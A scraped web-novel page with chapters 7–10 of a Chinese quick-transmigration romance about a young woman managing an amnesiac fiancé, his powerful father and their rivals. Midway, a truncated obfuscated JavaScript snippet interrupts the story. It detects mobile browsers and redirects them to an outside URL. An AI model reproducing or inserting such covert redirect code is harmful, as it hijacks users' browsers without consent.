《每个世界被强占的漂亮小可怜[快穿]》 7. 过渡品 自从那天跟徐奎去了趟孟家,徐然的生活就陷入了各种棘手的麻烦中。 先是家里的大额订单频频被取消,原本谈好的项目也黄了大半,自己工作室的员工和合作伙伴也陆续离开。 他并非完全不了解得罪弘光的下场,但当年他待在孟逐身边,从来没受过这种屈辱。 后来作为受害方,孟家给了不少补偿堵嘴,让他产生了对方没有传言中那么可怕的愚蠢想法。 徐然握紧轮椅扶手,悲哀地发现自己此刻低声下气的口吻与他瞧不上的父亲如出一辙。 “孟先生,所有错我一个人承担,请不要牵连我的家人。” 刘秘书作为执行者,自然知道徐然的意思,她皱了皱眉,正要开口,就被老板制止了。 “如果我是你,我不会做些无用功。” 男人睨了眼低着头的徐然,将揉作一团的湿纸巾丢进垃圾桶,仿佛将青年的屈辱也一起丢了进去。 他绕过他朝前走。 徐然抱了很大的决心才来,早就做好被对方羞辱的准备,见他要走,连忙操作轮椅追了上去,“孟先生,请放过我的家人,他们是无辜的!” 他拔高了音量,附近老人不少,闻声纷纷驻足望来。 作为财经时报的常客,孟祯先并不是寂寂无名的角色,一时间,惊疑的目光在几人之间来回扫视。 徐然满心以为对方会出于要脸先让自己闭嘴,好让他抓住机会求情,就像他父亲想的那样。 但孟祯先只是径直朝前走,刘秘书又挡在前面,徐然被逼得没办法,只好使出杀手锏,“我不明白您为什么非要帮孟逐做到这个地步,他根本不是——” 他未说完的话,卡在了男人侧脸望来的刹那。 午后的天光并不明朗,两侧的香樟树被吹得枝叶摇晃,发出轻轻地沙沙声,太阳隐没在浓云之后。 孟祯先看着他,明明不是极凶恶的相貌,不做表情甚至显得有些温和,落在他身上那一眼却刺骨的冷寒,让徐然硬生生止住了嘴,下一秒,甚至后悔起来。 他都说了什么?他不是为了求情来的吗?怎么一激动,就管不住嘴了。 但看到孟祯先转过身,朝自己走来,又有点庆幸,不管怎么样,总算把人留住了。 接下去只要他拿出诚意道歉,总能替家里挽回一点损失。 然而,不等徐然开口,一道手机震动声便从男人大衣口袋传来。 孟祯先拿出来,看了眼来电显示,又看了眼脸色不甘的徐然,走到一旁接通,“江小姐?” * 孟祯先到医院时,江绵还站在孟逐逃走前的路旁。 女孩穿了一字肩的针织衫和伞裙,长发没有像之前那样盘起,而是披在肩头,显得成熟了些。 只是一遇到麻烦就不自禁流露出慌乱的个性,又在时刻提醒他,对方只是个涉世不深的年轻女孩。 见到自己,女孩小跑上前,“孟叔,孟逐他……” 孟祯先做了个手势,“你已经说过了。” 孟逐本来就是个不服管教的个性,现在又失忆了,江绵被家里教得太乖,压不住他正常。他只收了他的信用卡,孟逐手上没有现金,就算逃也逃不了多远。 他是这个意思,但女孩似乎想到了其他方面。她怔了怔,嗓音有点发紧,“对不起,是我太不小心了。” 第一次见面时孟祯先就发现了,江绵有点怕自己。 隔着电话线还好,见了面就很明显了。他知道自己风评不济,怨恨自己的人比认可的多。 但像她这样,怕得那么明显的还是头一个。 他确认在陈女士的葬礼以前,他们从未谋面。 她即将成为孟逐的妻子,他们有很多见面机会,如果一直这么胆小,外人或许会以为他欺负过她。 孟祯先知道自己拿出对小辈应有的宽容,但他这会儿情绪不佳,语气也冷淡了些,“上车,我带你去找那个混账。” 他知道他去了哪里。 江绵本来要坐副驾驶,但看到副驾驶堆了文件袋,只有后排还有位子,迟疑几秒,还是拉开后排车门,坐到孟祯先边上。 车厢里流淌着舒缓的乐曲,气氛却有些凝滞。 孟祯先靠在后排一言不发,司机以为老板在为徐然的事生气,也不敢开口,江绵就更不用说了。 她肩膀紧挨车门,中间空出一大块,望着车窗外流逝的街景,仿佛在暗暗期盼快点抵达目的地。 车辆进入隧道时,光线骤然按下来。 车窗的反光里倒映出她的脸,以及身后那个男人此刻的模样。 男人闭着眼,端方英俊的面容上带着淡淡地疲倦,立起来的大衣领子,挡住了下颌和修长的脖颈。江绵看了会儿,就眼尖地捕捉到什么。 她看了眼正在闭目养神的孟祯先,又看了眼专心开车的司机,从包里摸出两张创口贴,轻轻放到孟祯先手边,然后像什么也没看见那样转过脸去。 孟祯先在原文里的剧情太少了,只作为阻碍男女主在一起的反派出现,对个人生活描写几乎为零,她只能通过从和孟家熟悉的安保口里旁敲侧击。 但从这段时间打听的来看,没听说他有情人呀? 可脖子上的爪痕,显然是长指甲抓出来的。 江绵稍微有点遗憾。 江绵一靠近孟祯先就察觉了,江绵身上的气味实在太好分辨,另一方面,他也没有真的睡着。 她凑过来时,他以为她和那些借着和孟逐交往接近自己的女人一样,在密闭空间就迫不及待露出马脚,为自己看错人有些不虞,以至怀疑起孟逐是她故意放走的,就是为了这一刻。 但等了会儿,没等到对方下一步动作,连温热的呼吸也远去了,他才掀起眼皮,朝江绵的方向望了眼。 江绵还紧紧挨在车门边,脸对着窗外,没有要搭理自己的意思,才缓缓敛起目光。 空调打得有些过于热了。 孟祯先点开中央扶手屏,正要调低温度,手就碰到什么。 他低头看了眼,这才注意到座位边多出两片印着卡通兔的创口贴。 小兔可爱的笑脸正面朝上,似乎在嘲讽他的自作多情。 孟祯先:…… 他捻起那两片创口贴,看了眼女孩的方向,放进大衣内袋。 *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889681|192187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 车辆驶入富人区,在一间装潢现代的咖啡馆前停了下来。 窗外不知何时下的雨,雨水将整个世界晕染得灰暗,但坐在车中依然能清晰的看到那间咖啡馆的落地窗内,两个外形靓丽的年轻男女面对面坐在一张圆桌。 他们似乎在争执什么,女的起身要走,男的便支起拐杖要起身,却因腿脚不便跌了回去,女的见到这一幕,又转过身,紧紧拥抱了对方。 江绵只看了眼,便认出那是孟逐和常悦瑶。 但原主是没见过常悦瑶的,因此在她这里,就是失忆的男友在骨折的情况下都要逃离自己,只为了见别的女人。 她如遭雷击般望着,连推开车门的手也慢慢收了回去。 孟祯先没想到是这副情况。 他先入为主的以为江绵既然知道常悦瑶的存在,就应该见过她。 见她那么失魂落魄才反应过来,她只是在自己面前说得大度,其实根本没把对方放在眼里,也没见过人家,不然就不会那么愕然又难过了。 他拿出雨伞,正要说陪她过去,就当还误解她创口贴的人情,就听女孩哑声道:“……孟叔,能送我回去吗?” 她好像也觉得自己无理取闹,是她向孟祯先带自己找人,找到了又不肯下车。 但除了说这句,也不知道怎么办了。 好在孟祯先听完,只是黑眸深沉地看了她一眼,便将雨伞放了回去,让司机调转方向。 他不担心孟逐逃出去就不回来了,有徐家做榜样,常悦瑶不会收留他,楚沛就更不敢了。 和孟祯先所料不差,他们前脚刚到医院,他回弘光不久,就收到了江绵的消息,说孟逐回来了。 孟祯先开远程会议时不常分心,这次收到消息,却将问题抛给另一位高管,趁他回答的间隙,给女孩回了个好。 等了一会儿,见对面没再回复,才把注意力放到会议内容上。 * 孟逐见到日思夜想的心上人,发现自己没有以前的悸动。 他没有太在意,毕竟按照楚沛的说法,他和常悦瑶已经三年没见面了。 没有天天黏在一起,感情淡一点也不意外。 只要能把她从徐然身边抢回来就好。 孟逐压住有些古怪的心情,把最近发生在身上的事都告诉了常悦瑶。 他留了个心眼,没有告诉常悦瑶自己失忆,而是说想跟她复合,不介意她和徐然结过婚,问她愿不愿意。 结果常悦瑶真的没有怀疑,但还是拒绝了他的提议,拒绝的理由荒诞得孟逐都不敢相信。 她说她的确是因为他撞了徐然,觉得对不起对方才和徐然结婚的,但在之后真的爱上他,没办法再和自己交往。 孟逐拒绝了常悦瑶给他叫车,嘴硬说自己有钱,淋着雨失魂落魄走回医院后,不出意外发了高烧。 第二天上午,烧退了。 看到站在床边帮他摆放早餐,对他昨天的去向一字不提的江绵,积累许久的怨气终于一次性爆发出来。 孟逐一骨碌坐起来,把她刚摆好的鸡丝粥砸到了电视上,在女孩措手不及的怔忪目光里,冷冷道:“滚!” 8. 过渡品 江绵看了眼碎掉一角的电视屏幕,又看了眼还在暴怒中的孟逐,柔顺地放下手,朝病房外走去。 站在一旁的护工见状,于心不忍,多嘴了一句,“孟少,你不该这么说江小姐。为了照顾你,从昨天到现在,她还没合过眼。” 孟逐对江绵的印象只有她每天睡得比自己早,起得比自己晚,还要他回避她换衣服,帮她做家务的事上,对护工的话完全不信,“她付你工资还是我付?!” 护工心说是本来就不是你啊,是孟先生在付。 但他又不是傻的,见气氛不对,就没往枪口撞。 这个点保洁还没上班,护工去拿了拖把和抹布,打扫地上的鸡丝粥。 安静的病房里,孟逐心烦意乱地躺在病床上,过了许久才慢慢冷静下来。 他望向对面那张床,床铺得很整齐,平板摆在床头,是昨天他让江绵陪自己下楼散步时的位置,连笔的位置都没变。 看了一会儿,不由伸手拿过来,点开。 江绵的平板没有上锁,解锁进去就是一张画满批注的乐谱,使用时间停留在昨天的13:09。 孟逐倒扣平板,心里更烦了。 他骂就任他骂,她是橡皮泥捏的,嘴长来当摆设吗?! * 每天面对孟逐也很辛苦,江绵正愁没机会出去透会儿气呢。 他一发作,她就顺势离开了。 去商场采购了点衣服和首饰,填好寄送地址,又去美容院躺了几小时,等心情“调整”得差不多,才去餐厅打包饭菜,带回医院。 孟逐坐在床上玩游戏,就是上次她说的那款通关很多遍的恐怖游戏。 因为屏幕碎了一角,画面看起来反而真实了一点。 江绵察觉到她走近时,他的坐姿明显僵硬了点,好像以为她看到屏幕会问什么。 江绵把保温桶放到床头柜上。 有了上午的经验,她没有直接打开,而是放到离孟逐近点的位置,就回到自己床边,拿了平板往沙发走。 这样一来,就算他再砸,也不会溅到她身上。 江绵是这么想的,但落在孟逐眼里就不是这么回事了。 上午看完那张乐谱后,他就反应过来了。 换位思考下,如果是常悦瑶谎称散步骗了自己,背着他去见徐然,发着高烧回来,他照顾了她一整晚,醒来还要挨骂,绝对忍不住不发火。 何况,按护工的说法,江绵还不知道他去见了谁。 所以,在她的视角,就是单纯受骗又被骂。 孟逐以为这次能彻底把她彻底气走了,没想到江绵不仅忍了,出去消化情绪,还照常给他带晚饭。 因为以为她离开,孟逐把之前没玩完的恐游捡起来重玩的自己多少有点尴尬。 他担心江绵看到屏幕会说什么,毕竟她之前就提过这款游戏自己通关多次。 屏气凝神,等着她开口,却发现女孩问都不问,就要离开,连忙喂了声。 见女孩回头,又不知道说什么。 他也不知道自己叫住她干嘛,她要走他求之不得,但自己把人叫住了,总要说点什么,不然显得他像脑子有病。 但人越紧张,就越憋不出内容。 孟逐盯着女孩清丽的面孔,动了动嘴,还是没想出要说的话,余光瞥到什么,他急中生智,指着保温桶道:“你还没给我打开。” 话一出口,孟逐就后悔了。 就算再没情商,也知道才把人气跑过一次,再用这个语气,完全是再吵一轮的架势。 但江绵听完,只是把平板放到床尾,走过来,把床头小桌摇起来,替他旋开盖子,将保温盒的菜色依次摆上去。 她动作轻柔,连叉子都擦得锃光瓦亮。 一如既往的细心妥帖,让孟逐心里有点不是滋味。 他受的教育让他无法相信这个世上有无缘无故对自己好的人,他帮江绵做家务,也只是哄骗她放松警惕,好让自己有机会逃出去。 但江绵这么做是为什么? 他没失忆前,真的和她感情那么深刻吗? 见女孩把叉子递到自己面前,孟逐静了静,还是低声道:“我来吧。” 他放下手柄,接过来,自己舀饭。 江绵看了眼才升到32的数值,没有说话,回去继续改乐谱。 孟逐见她还要走,脸色微变,就看到女孩在沙发前坐下来,拿着笔在平板上划拉什么,这才放下心来。 虽然他自己也没搞懂自己放的什么心。 这种表面和平的状态没有维持太久。 参加完学校学期末的考试回来,江绵就发现孟逐脸色阴沉地坐在病床上。 护工早躲出去了,病房里只有他们两人。 见她进来,孟逐将她的平板丢到她的面前,“解释一下,这是什么?” 江绵当然知道那是什么。 那本来就是她故意留给他看的。 但江绵只是捡起平板看了眼上面她和孟祯先的聊天记录,脸上便掠过一抹慌乱,“你怎么能随便看我的微信……” 孟逐冷笑,“你以为我想看?” 就算江绵的平板没上锁,他也没有看她隐私的想法。 他是听到平板频繁的消息震动声,以为有人给江绵发消息,还想让安保给她送一趟,拿起来才注意到。 孟逐以为她是单纯的受害者,才容忍她继续留下来,结果人家对他去见常悦瑶的事心知肚明,还每天跟他爸汇报他的情况。 连他骂了几次护工都说。 “江绵,我真的好奇。你到底是喜欢我,还是喜欢我的家世,以至于无下限地拿我讨好我爸?” 孟逐骂人专挑痛点,就连心大的楚沛有几次都被骂到好几周不跟他来往,更别说江绵了。 女孩咬住唇肉,眼里泛起透明的水光。 她把平板屏幕那面压入怀中,好像这样就能将自己做过的事藏起来一样,嗓音执拗又细弱道,“就算你不记得了,也不能这么说我。” 被拆穿了真正目的,还能有勇气跟自己对峙。 孟逐都不知道她是装的,还是真的天真了。 他正要让她收拾东西,趁自己没说出更难听的话之前离开,胸口就剧烈地抽痛了下。 孟逐皱了下眉,还没弄清哪里在痛,就见女孩用极为难过的目光深深地注视了眼自己,丢下一句,“我去买瓶水”便出去了。 * 弘光事务繁忙,那日和江绵的见面,很快被孟祯先抛到了脑后。 只是收到那个女孩发来有关孟逐的日常时,会抽空看一眼。 他没有让她当眼线,孟逐也不是需要被看管的卧底,见她发的事无巨细,就让 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江绵的长发散在肩头,紧紧抱住平板,眼睫频频翕动,像刚遇到了什么意外状况,还没缓过劲来。 目光落到自己身上,稍微缓解了一点。 但也只是一点,又变成了先前的模样。 孟祯先正要松开她,询问发生了什么,电梯门就合拢了。 下一层一群人涌进来。 孟祯先不得不退到后排,江绵也被人群压进他怀里。 这和上次在观景潭前那次不同。 天气暖和起来了,她穿的也轻薄不少,隔着面料,能清晰地感受到对方柔软的起伏,有别于自己的曲线,还有扑在衬衣前有一阵没一阵的温热呼吸。 孟祯先感到一点不合时宜。 江绵恐怕也是这么想的。 刚才还留在她脸上的惊慌消失了,取而代之的是两颊泛起的淡红。 她扶住自己身后的扶手,好像想往后退一些,但电梯每经过一层,就有更多人进来。每后退一次,反而被压得更近。后面她干脆放弃了,只是埋头扮鹌鹑,装作什么都没发生的样子。 孟祯先的心情也从一开始的凝重变得有些忍俊起来。 为了不让女孩更为难堪,他没有表露出来。 中途有人下电梯了,但空间还是很狭窄。 孟祯先将江绵让到两面电梯壁的夹角,自己转过身站到前面,这才解除了她的难堪。 不知过了多久,一楼终于到了。 孟祯先跟着江绵走出电梯,见女孩低着头,快步要走,不由叫住她,“不说句谢谢?” 江绵好像没料到自己会这么说,停下脚时,背影都带着一股羞恼。 孟祯先见她不高兴,没有继续逗的意思,而是走到女孩面前,“跟孟逐吵架了?” 提到孟逐,萦绕在两人之间的尴尬氛围褪去一些。 江绵抬头看了他一眼,嘴唇嗫嚅了下,还是没说孟逐坏话,“……没有。” 她这副样子,是个人都看得出来有还是没有。 孟祯先没有追问,而是看了眼手表,“现在十一点多了,你明天还有两场考试,不回去睡觉,这是要去哪?” 9. 过渡品 江绵回到家时,住宅里没什么亮光,江父作息规律不常熬夜,这会儿已经睡下了。 江绵关上卧室门,走到浴室放水。等浴缸放慢的间隙,把脸上的妆卸了。 镜子里的女孩有一张稍显冷淡的面孔,她一边往化妆棉上倒卸妆水,一边回忆前面发生的事…… 从她口中了解“实情”后,并在她表示今晚不准备陪床时,孟祯先让司机先送她回家,看样子打算替她跟孟逐解释了,只是解释到什么地步就未可知。 江绵本来打算借着坐车期间,和司机聊聊孟祯先的事,但孟家司机嘴巴太牢她什么都没问到,不过倒是在车厢后座捡到了一张花店的折扣券。 这什么东西? 江绵打开看了会儿,又放回原位,心里却想到另一条线索。 按照设定,孟祯先是一个合格的反派,他成功拆散过主角cp很多次,手段从单纯看不惯儿子和女主相恋,升级为病态的执念,对女主家下死手围剿。 男主也从对他的孺慕向往,慢慢转变为对父亲身份的怀疑怨恨,最终查出他不是自己的亲生父亲,只是代为照顾自己却始终对自己心怀嫉恨的养父才狠下心决裂,同时联合徐然做空了弘光。 在某些必要的时刻,男主和男配可以为了让女主幸福的目的短暂地化敌为友。 整顿反派的过程中,男配也明白了女主的心在谁哪里,最终选择了退让。 有一个bug是男主在原剧情里没有失忆,他在见到女主的庆祝会上喝得酩酊大醉,被女主送回酒店的那晚重温鸳梦。 但这个世界男主回来得太快了,快到江绵都怀疑他没接到人中途就溜了。 酒店第二天的剧情是,男主醒来发现女主跑了,立刻撇下自己又开始和女主发生你追我赶的剧情。 这一段是全文的高.潮点。 但因为他回来太早,之后还陪着参加出殡在江绵家里住了几天,以至于什么都没发生,数值也没降低; 也有可能发生了,但和女主维持这种背着女配来往的关系降低了男女主之间的感情浓度,导向了男主为了拯救被前夫男配纠缠的女主,被打到失忆的新剧情。 没错,孟逐失忆这段,在原文里是不存在的。 江绵刚得到消息就明白是世界意志的作用,它会推动男女主回到应有的位置上,保住这个小世界的气运。 这篇文还有一个爽点就是他为女配准备的豪华婚礼,最后落到了女主身上。 虽然江绵也不知道爽在哪里,但这种回到正轨且经费投入加倍的举动,显然很符合男主对女主的偏爱,而他们的婚期,离现在已经不远了。 江绵不打算先攻略孟逐,只维持好自己的人设,等他恢复后再上演一场“苦苦挽留”就能无伤满分。 虽然这个满分只能维持短短几分钟,且大概率出自对方对她感情得不到回报的愧疚。 但系统说过单人满分就算单人线通关,没说必须一直维持满分,江绵觉得自己的计划非常合理。 因此,看到数值面板上,孟逐毫无变化的爱意值时,她愣了愣。 嘴上说得凶恶,其实完全没触犯他逆鳞,这个人是艾慕吗? 心里这么吐槽,看到另一位的数值时,心情却变得有些古怪起来。 尽管总共只涨了5个点,但涨跌陡峭得宛如瀑布,而且看时间……江绵想到什么,脸上闪过一抹恍然。 不过当务之急不是这个,江绵放下化妆棉,打开相册app,看了眼被自己悄悄拍下来的折扣券。 她很好奇,如果孟逐是孟祯先的养子,出于担心他胡思乱想或者旁人议论的缘故,不告诉他真正的出身能理解,但心怀嫉恨又是从哪说起,他看起来对养子不仅不差,还相当好。还有那个抓痕……总之,不合理的地方太多太多了。 江绵决定明天去一趟这家花店。 同一时间,楚沛正在店里玩桌游。 他今晚点背,玩几局输几局,好在他心态还行,虽然有点遗憾但输了就输了,慷慨地请了一桌的酒水。 期间,有朋友说要带人来玩,楚沛没有拒绝。 只是见到那个人时,他以为自己喝多了眼花,不然那个一向不来娱乐场所的徐然出现在这里呢。 直到对方出声,他才反应过来,这真是徐然。 楚沛的酒醒了大半,“徐然?你怎么——” 他想问你怎么过来了?还未出口,就想到孟家那位长辈让人联系他时说的话,他把疑惑咽了回去,转而笑道:“来也不说一声,我好出去接。”又对那个带他进来的男生道,“你也是,徐少来了,你们赶紧腾个位子。” 男生没听出楚沛的意思,以为他真的不介意还很欢迎,还对徐然得意道:“你看我说什么,我就说楚哥不介意吧。现在人在这里,你有什么需要帮忙的尽管开口,他和孟少关系那么铁,你要找他帮忙一句话的事。” 要不是这个人刚带他进来,徐然真想把桌上的烧烤扎进对方的烂嘴里。 他就没发现自己这么说时,周围人都安静下来没附和了吗? 但徐然没那么做,还装作赞同的笑了笑,对楚沛道:“借一步聊聊?” 楚沛明白徐然今天来干什么。孟逐家里那位长辈动手前,一圈的人早就收到风声。 也就那个把他带进来的男的,是最近热度很高作为陪客的网红,跟他们不是同一阶层,搞不清状况。 以为徐然还是以前那个受追捧的徐少,估计这会儿还以为徐然欠了自己人情,美滋滋地等着哪天要回去呢。 不过,好歹交好多年,楚沛也没做那么绝。 他笑了笑,“行啊。” 和包厢里的人说了声,就把人带到一间空包厢,靠在门边道:“要多少?” 徐然没想到他那么直白,顿了顿,还是咬牙报了个数字。 楚沛有点惊讶,这个数字比他听说徐家欠的债务少得多。 不过如果徐然真问他要那么多钱,他也拿不出,而且,大概率自己根本不会借。可是现在除了自己,应该没人肯接济徐然了吧。 虽然这么想,楚沛还是给徐然转了账。 他爽快的态度让徐然有点吃惊,这些天他跑了很多家,包括常家,都不肯借,没想到楚沛居然肯,正要道谢,对方却摆摆手,“这笔钱算我送你的,以后别来这里了。” 徐然明白对方不想得罪孟家,只是楚沛在他为了常悦瑶和孟逐翻脸时都没不搭理自己,这会儿为了利益直接挑明,还是让他的心理愈发扭曲,“我知道。” 徐然一离开,楚沛脸上的笑容就垮下来,他叫住一名员工去原来的包厢带句话,那名网红以后不知道怎么样,反正在他这里往上爬的路子算是断了。 不过,楚沛借徐然的钱只是杯水车薪,这家伙肯定会想办法再从别的地方捞钱。 想到这,他突然有了一个一举两得的好注意。 楚沛忙不迭点开通讯录,划到下方,点开了江绵的头像。 * 孟祯先的探望进行得并不顺利,孟逐不敢顶嘴,但态度抵触得过分,几乎没办法交流下去。 问他腿伤,说医生在管,问他记起多少,说全部记起来了,问他起居,就说你不是知道吗。 看在这小子是病人的份上,孟祯先没跟他发火,而是道:“你奶奶听说你病了很挂心,我让江绵记下你的情况,发给她看看。等你康复了,找个时间去见见她。” “你看不惯我,不要拿奶奶当借口。”孟逐语气不好,“奶奶才不是这种人。” 孟奶奶是孟家最宠孟逐的人,孟逐跟她关系很好,奶奶不爱住家里,孟逐每周都会去养老院。 相对而言,他爸和奶奶的关系就有点僵硬,他以前不懂事时还问过,奶奶一脸凝重地问是谁让他说的,是不是他爸? 当时孟祯先刚进弘光,经常住公司,难得回家过年还被奶奶泼了碗南瓜粥,当着一堆亲戚阴阳怪气。 孟逐不知道是自己的惹的祸,胆战心惊地看着他和奶奶吵架,就看到他越过众人望向自己,目光晦涩难懂,但孟逐能肯定,绝对不是什么好的意味。 现在他到了孟祯先当时的年纪,多少能体会他当时的心情。 爷爷去世得早,他爸一毕业就接过了担子,每天忙得不沾家,孟逐六岁以前几乎没怎么见过他,不知道奶奶为什么那么讨厌他爸。 后面他爸的地位越来越高,弘光和家里都成了他的一言堂,奶奶受不了这个落差,才搬到养老院。 但这也是他能容忍他爸甩锅给奶奶的理由。 他不了解奶奶,还不了解他爸吗? 要不是他横插一脚,常悦瑶跟他早就在一起了,哪有徐然什么事。 想到那天的事,孟逐就一肚子气,“你要真闲得慌,就给自己找个伴,别老把精力放在我身上,我都那么大了,自己知道料理自己的事。” 孟祯先意有所指看了眼他打石膏的腿,对面立刻有点挂不住,“这是意外。” 孟祯先敛起视线,意味不明道:“徐家还是赔得少了 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此时,楚沛正开着他所有车里,最拉风的那辆超跑停在江宅楼下。 如果有熟人见到,一定会惊讶地发现楚沛今天的异样。不仅车换了,打扮得也和孟逐如出一辙。 稍有区别是,楚沛的张长相比孟逐逊色几分,但孟逐大多数时候都是臭脸,楚沛就圆滑得多。 他正在整理衣领,从后视镜里看到女孩和父亲告别,转身朝自己这边走来,连忙下车给她开车门。 “谢谢。” 江绵化了淡妆,显得气色很好。但她没有注意到自己的不同,楚沛有点失望。不过,只有一点点。 楚沛想帮她系安全带,但感觉这样一来有点冒失,于是没动手,只是等她坐稳再启动。 他昨天发完消息就回去睡了,醒来才想起自己发了什么。 那完全被徐然的事和酒精搞得脑子发热发的,撤回又撤回不了,正要跟江绵说自己开玩笑,就看到对面的新回复,[明天上午吧,我在家。] 虽然是用徐然骗来的“约会”,但她却说要先去花店,楚沛余光瞥了眼副驾驶座上的女孩,心里忍不住想,江绵是不是也对自己有点意思,只是碍于孟逐不好意思说? 毕竟他长得也还行,网上盘点松城名流的长相时,他的名字就跟在孟逐后面。她要给他买什么花呢? 他比较喜欢蓝色妖姬,但是别的也行。 果然今天这么打扮没错。 楚沛正美滋滋地想,就看到江绵提着把白桔梗出来了,白桔梗是孟逐他奶奶最喜欢的花,以前他们去孟家玩,总能看到走廊尽头摆的白桔梗,原来还是为了孟逐啊? 他有点泄气,但很快又打起精神。 要是那么快江绵就能移情别恋才奇怪,现在孟逐看不到花,就当是短暂送给自己的好了。 “难得你放一天假,我们要不要先去哪里玩会儿?”楚沛用了一个合情合理的借口,“刚好聊聊徐然的事。” 江绵把花放到后排,“可以呀。” 楚沛得到首肯,刚才的郁闷一扫而空,他把车开到自家经营的高尔夫球馆。 楚沛是有私心的,他虽然把自己打扮得像孟逐,却没想真的跟他一样。 想让江绵记住他,就得给她点新鲜感。 比如,高尔夫球。 孟逐把这种运动嗤之以鼻,他认为是装腔作势,他喜欢一些大开大合的运动; 楚沛却很中意,他擅长这个项目,更容易发挥他的魅力。 楚沛有自己的私心,这家场馆是会员制,打球要换上场馆提供的运动服,他想看江绵穿上那身运动服的样子,一到场馆便带她去更衣室。 楚沛想象过,江绵穿那套卡其色的运动裙应该会很好看,她的皮肤粉白清透,不管什么颜色都能适配,又长着一张气质纯净的面孔,腰是腰腿是腿的,但看到从带路的球童身后走出的女孩,还是掩饰不住眼里的惊艳。 他就知道江绵很适合这么穿! 只是楚沛还没来得及称赞,女孩就用温温柔柔地语气道,“楚少,我不会打高尔夫,可以坐在这里看你打吗?” 楚沛知道她不会打才带人过来的,闻言,正要笑着说出自己真正的目的,“很简单的,我来教你……” 不远处一辆朝这边驶进的高尔夫球车里忽然传来一阵熟悉地男声,“楚沛,你怎么在这?!” 10. 过渡品 听见那道声音的刹那,楚沛以为自己背后说人坏话,心虚到出现幻听了。 见到穿运动服的徐然被球童扶下球车,换上轮椅,朝他们这边驶近,才发现是真的。 徐然一眼就注意到站在楚沛身侧的女孩。 和密切关心他婚姻生活的孟逐不同,徐然并不知道孟逐交了女友,也没人会凑到他面前讨这个嫌。 因此,见到江绵,他的想法和孟逐失忆后醒来见到她时同步了。 只当是楚沛从哪找的陪客,不过气质更好些而已。 徐然看了两眼,正要移开视线,楚沛就警觉地挡到女孩前面,“这话该我问你吧。” 他昨天才给了他钱,今天就在场馆遇见。 就算徐然也有这家场馆的会员,但总不至于,徐家都落魄到需要他一个残疾人出面到处借钱堵窟窿的地步,还有闲心来打球吧。 徐然剃了胡子,打理了发型,精神面貌比昨天见面时好了不少。只是一开口,又回到那副隐忍的语气,“我是来……” 他看了眼江绵。 楚沛看出徐然的意思,对女孩道:“江绵,你在这里等会儿,我去去就来。” 江绵:“好。” 等他们走到离自己有点距离的草坪上,她才转过身,对球童说,“你知道洗手间在哪吗?” 这是楚家开的球馆,江绵又是老板侄子带进来的。 球童对她很友善,“请跟我来。” * 在医院说过那句话后,下一次的董事会上,孟祯先取消了与徐家长达五年多的合作。 名义上弘光董事长是孟祯先的母亲,但她搬进养老院后就不在接触公司事务,事实上的话事人仍然是他。 徐然和孟逐的事虽然捂得快,知道的人却也不少。 对孟祯先的决定虽然有认为太过武断的,可徐家只是弘光一项并不重要的原材上游供应方,取代性极强,之前拿到资格也是因为孟逐把人腿弄断了的赔偿。 如今跌出合作名单,倒是给他们腾出一大块分猪肉的机会,因此,即使和徐奎关系不错的股东也没有替他讲话的。 像平常一样去临近的高尔夫球馆放松时,有几家得到风声的供应方代表早早地等在那里。 孟祯先打几杆,他们就见缝插针吹捧几杆。 等吹捧流程结束,便是各方拿出诚意的竞选环节。但遇到利益的事,大家就不讲体面了,争执中直接将香槟泼到了孟祯先的衣服上。 孟祯先:“……” 孟祯先把球杆交给刘秘书,脱下手套,“快中午了,先去餐厅吧。” 这几人本来还担心他生气,见对方都这么说了,自然不会有任何意见。 只是等这群人到达场馆的餐厅,发现席间只有刘秘书,孟祯先却不知去向,不免有些疑惑。 刘秘书经常处理善后,对此极为淡定,“孟总有急事先走了,各位和我说也是一样的。” 刘秘书原本是孟董的秘书,地位和副董差不多,她说这话是有分量的。 几人听完,虽有些不满,但他们毕竟是不请自来的,又把人家衣服泼湿了,不愿意接待也说得过去。 只是席间,难免对那个失手的供应商最为排挤。 但孟祯先下午其实没什么工作要忙,不然就没有时间出来打球了。只是被他们打扰后,找了个借口,换完衣服就去了楼里的室内球馆。 今天是个大晴天,阳光温暖而不晃眼,空气里一丝风都没有,少有的室外比室内更适合打球的天气,室内球馆没什么人光顾,灯也比平时少,光线有些昏暗。 孟祯先打了会儿球,坐到长椅上闭目小憩,后方传来轻轻地开门声。他以为是那群供应商追过来了,就看到门后钻出一个纤细的身影。 ……江绵? 认出女孩的身份,孟祯先感到一点意外。 她来这里做什么? 江绵穿了身场馆的运动服,头发砸了个清爽的马尾,脚步轻快又从容,看得出心情不错,她怀里抱着一根球杆,关上门后,就朝自己的方向走来。 室内球馆呈三侧是阶梯座位,中间是草地的包围式,类似体育馆,但比体育馆小很多,座位只有几排。孟祯先坐在前数第二排的阶梯边。听到女孩的脚步声经过身旁停了下来。 孟祯先以为她认出自己,正要开口,就听女孩道:“请问,您是周威,周教练吗?” 孟祯先顿了顿,低头看了眼自己的打扮,这才发现江绵误会了。周威是这家场馆有tpi认证和众多学员的高级教练。 这里的教练统一穿藏蓝运动服,不戴铭牌,只戴鸭舌帽和口罩的打扮,周威也是。 但孟祯先原本穿的也是和她一样的卡其色运动服,只是刚才被泼湿了,临时换了备用运动服,没想到被误认成了他。 不过,这个时间,周威正在室外上课,她不去室外场馆,怎么会来这里? 孟祯先打住思绪,沉沉地应了声,想知道她想做什么。 他们拢共也没见过几次面,江绵没听出他刻意压低的声线,闻言,她的语气郑重了些,“周教练,我想报您的初级班,您这个月还有名额吗?我想报一对一的小班。” 孟祯先往下压了点帽檐,“你想学来做什么?做裁判员,考教练证,还是当爱好?” 江绵:“都不是。” 她似乎在思考要不要说,但周威响亮的名声还是打消了江绵的顾虑,“我最近和男朋友闹了点矛盾,大家不是都说要改善一段关系就要投其所好嘛。我问了他朋友,听说他喜欢和朋友一起打高尔夫,就想……” “哪个朋友?” “什么?” 接触到女孩有些怔愣的目光,孟祯先才发现作为周威而言,这个反应有些过度了。 